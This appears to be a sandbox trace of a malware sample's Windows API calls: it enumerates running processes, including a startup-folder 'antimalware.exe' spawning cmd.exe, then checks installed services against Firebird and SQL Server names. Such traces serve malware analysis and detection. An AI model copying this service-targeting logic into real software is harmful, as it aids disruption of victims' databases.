	[0044.761] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0044.762] lstrlenW (lpString="sihost.exe") returned 10
	[0044.762] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.763] lstrlenW (lpString="svchost.exe") returned 11
	[0044.763] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0044.763] lstrlenW (lpString="taskhostw.exe") returned 13
	[0044.763] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0044.764] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0044.764] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0044.765] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0044.765] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0044.766] lstrlenW (lpString="explorer.exe") returned 12
	[0044.766] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0044.766] lstrlenW (lpString="Memory Compression") returned 18
	[0044.766] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0044.767] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0044.767] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0044.768] lstrlenW (lpString="SearchUI.exe") returned 12
	[0044.768] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0044.768] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0044.768] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0044.769] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0044.769] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0044.770] lstrlenW (lpString="taskhostw.exe") returned 13
	[0044.770] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0044.771] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0044.771] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0044.771] lstrlenW (lpString="UsoClient.exe") returned 13
	[0044.771] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0044.772] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0044.772] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0044.773] lstrlenW (lpString="taskhostw.exe") returned 13
	[0044.773] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0044.773] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0044.773] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0044.774] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0044.774] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0044.976] lstrlenW (lpString="msoia.exe") returned 9
	[0044.976] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0044.977] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0044.977] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0044.977] lstrlenW (lpString="msoia.exe") returned 9
	[0044.977] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0044.978] lstrlenW (lpString="roof.exe") returned 8
	[0044.978] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0044.979] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0044.979] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0044.980] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0044.980] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0044.980] lstrlenW (lpString="cause.exe") returned 9
	[0044.980] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0044.981] lstrlenW (lpString="occasionstax.exe") returned 16
	[0044.981] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0044.982] lstrlenW (lpString="distributors.exe") returned 16
	[0044.982] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0044.982] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0044.982] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0044.983] lstrlenW (lpString="rand.exe") returned 8
	[0044.983] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0044.984] lstrlenW (lpString="unlikely.exe") returned 12
	[0044.984] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0044.984] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0044.984] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0044.985] lstrlenW (lpString="promotion.exe") returned 13
	[0044.985] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0044.986] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0044.986] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0044.987] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0044.987] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0044.988] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0044.988] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0044.988] lstrlenW (lpString="bad-length.exe") returned 14
	[0044.989] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0044.989] lstrlenW (lpString="unit.exe") returned 8
	[0044.989] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0044.990] lstrlenW (lpString="parents.exe") returned 11
	[0044.990] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0044.991] lstrlenW (lpString="charge.exe") returned 10
	[0044.991] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0044.992] lstrlenW (lpString="measures-provision.exe") returned 22
	[0044.992] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0044.993] lstrlenW (lpString="dllhost.exe") returned 11
	[0044.993] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0044.993] lstrlenW (lpString="conhost.exe") returned 11
	[0044.993] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0044.994] lstrlenW (lpString="conhost.exe") returned 11
	[0044.994] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0044.995] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0044.995] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0044.996] lstrlenW (lpString="cmd.exe") returned 7
	[0044.996] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0044.997] lstrlenW (lpString="conhost.exe") returned 11
	[0044.997] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0044.998] lstrlenW (lpString="svchost.exe") returned 11
	[0044.998] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0044.998] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0044.998] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0044.999] lstrlenW (lpString="conhost.exe") returned 11
	[0044.999] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0045.000] CloseHandle (hObject=0x384) returned 1
	[0045.000] Sleep (dwMilliseconds=0x1f4) 
	[0045.512] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fc88
	[0045.512] EnumServicesStatusExW (in: hSCManager=0x68fc88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0045.513] GetLastError () returned 0xea
	[0045.513] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x6db700
	[0045.513] EnumServicesStatusExW (in: hSCManager=0x68fc88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6db700, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6db700, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0045.514] CloseServiceHandle (hSCObject=0x68fc88) returned 1
	[0045.514] lstrlenW (lpString="Appinfo") returned 7
	[0045.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0045.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0045.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0045.514] lstrlenW (lpString="AppXSvc") returned 7
	[0045.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0045.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0045.514] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0045.514] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0045.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0045.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0045.514] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0045.514] lstrlenW (lpString="Audiosrv") returned 8
	[0045.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0045.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0045.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0045.515] lstrlenW (lpString="BFE") returned 3
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0045.515] lstrlenW (lpString="BITS") returned 4
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0045.515] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0045.515] lstrlenW (lpString="CDPSvc") returned 6
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0045.515] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0045.515] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0045.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0045.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0045.515] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0045.515] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0045.516] lstrlenW (lpString="CryptSvc") returned 8
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0045.516] lstrlenW (lpString="DcomLaunch") returned 10
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0045.516] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0045.516] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0045.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0045.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0045.516] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
